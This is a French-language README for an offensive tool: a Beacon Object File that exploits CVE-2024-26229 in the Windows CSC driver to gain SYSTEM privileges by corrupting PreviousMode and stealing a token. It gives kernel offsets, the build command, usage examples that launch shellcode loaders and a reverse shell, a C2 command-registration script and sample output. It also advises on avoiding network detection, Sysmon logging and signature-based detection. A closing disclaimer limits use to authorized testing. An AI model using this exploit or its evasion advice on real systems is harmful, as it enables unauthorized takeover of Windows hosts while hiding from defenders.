
CVE-2024-26229 Fichier objet Beacon version
Implémentation en Beacon Object File de CVE-2024-26229 — escalade de privilèges locale du pilote CSC Windows via le vol de jeton DKOM.
Basé sur RalfHacker/CVE-2024-26229-exploit, converti en BOF avec résolution dynamique de fonctions (DFR) pour utilisation avec les frameworks C2 qui supportent l'API BOF de Cobalt Strike.
\Device\Mup\;Csc\.\. via NtCreateFile pour obtenir un handle sur le pilote CSC0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) avec un buffer d'entrée conçu pointant vers KTHREAD->PreviousMode - 0x18, corrompant PreviousMode de UserMode à KernelModePreviousMode = KernelMode, NtWriteVirtualMemory peut écrire à des adresses noyau arbitrairesEPROCESS->Token du processus SYSTEM (PID 4) sur le jeton du processus courant (DKOM)PreviousMode à UserModeCreateProcessA — le processus enfant hérite du jeton SYSTEMLe processus beacon lui-même devient SYSTEM après l'étape 4. Le processus lancé est optionnel — si CreateProcessA échoue, le beacon est toujours élevé.
HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)| Décalage | Valeur | Structure |
|---|---|---|
EPROCESS->Token | 0x4B8 | Windows 10 19041–19045 / Server 2019 17763 |
KTHREAD->PreviousMode | 0x232 | Windows 10 19041–19045 / Server 2019 17763 |
Ces décalages sont spécifiques à la version. Si vous ciblez une build différente, vérifiez avec WinDbg :
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode
Nécessite mingw-w64 et un en-tête beacon.h compatible avec votre framework C2.
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c
Placez le fichier .o compilé dans votre répertoire BOF (par ex., _bin/cve-2024-26229.x64.o).
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]
Lancer un loader avec shellcode local :
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"
Lancer un reverse shell :
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"
Exécuter sans arguments :
cve-2024-26229 --path C:\Users\user\beacon.exe
[+] System EPROCESS = 0xffff9383f3a62040
[+] Current KTHREAD = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin
Enregistrez le BOF dans votre script d'extension .axs :
var cmd_cve26229 = ax.create_command(
"cve-2024-26229",
"CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
"cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
let path = parsed_json["path"];
let args = parsed_json["args"];
if (!path) {
ax.task_output(id, "Error: --path is required");
return;
}
let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});
Le paquetage d'arguments est cstr,cstr — deux chaînes terminées par null correspondant aux deux appels BeaconDataExtract dans le BOF.
PreviousMode corrompu. Aucun fichier écrit, aucun service créé, aucune modification du registre.--munition-local) plutôt que de le récupérer via HTTP pour éviter les détections basées sur le réseau.CreateProcessA avec CREATE_NO_WINDOW. Le processus lancé hérite du jeton SYSTEM. Si votre loader injecte dans un autre processus (par ex., svchost.exe), le loader sur disque peut être nettoyé ensuite.NtCreateFile à \Device\Mup\;Csc\.\. et l'IOCTL ne sont généralement pas journalisés par les configurations Sysmon par défaut. L'appel CreateProcessA générera une création de processus standard (Event ID 1) — assurez-vous que votre binaire lancé n'est pas signaturé.PreviousMode à UserMode après la copie du jeton. Le processus beacon continue de fonctionner normalement après l'exploitation.EPROCESS->Token (0x4B8) et KTHREAD->PreviousMode (0x232) sont valides pour Windows 10 19041–19045 et Server 2019 17763. D'autres builds peuvent nécessiter des ajustements.sc query csc ou le registre HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). Le pilote est activé par défaut sur les postes de travail mais peut être désactivé sur les serveurs.Cet outil est destiné uniquement aux tests de pénétration autorisés et à la recherche en sécurité.
L'utilisation de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale en vertu de la loi vietnamienne, y compris mais sans s'y limiter :
Cet outil est fourni à des fins éducatives uniquement. L'auteur décline toute responsabilité en cas d'utilisation abusive. Vous êtes seul responsable de vous assurer que votre utilisation est conforme à toutes les lois locales, nationales et internationales applicables.
En utilisant cet outil, vous confirmez avoir obtenu une autorisation appropriée du propriétaire du système avant toute activité de test.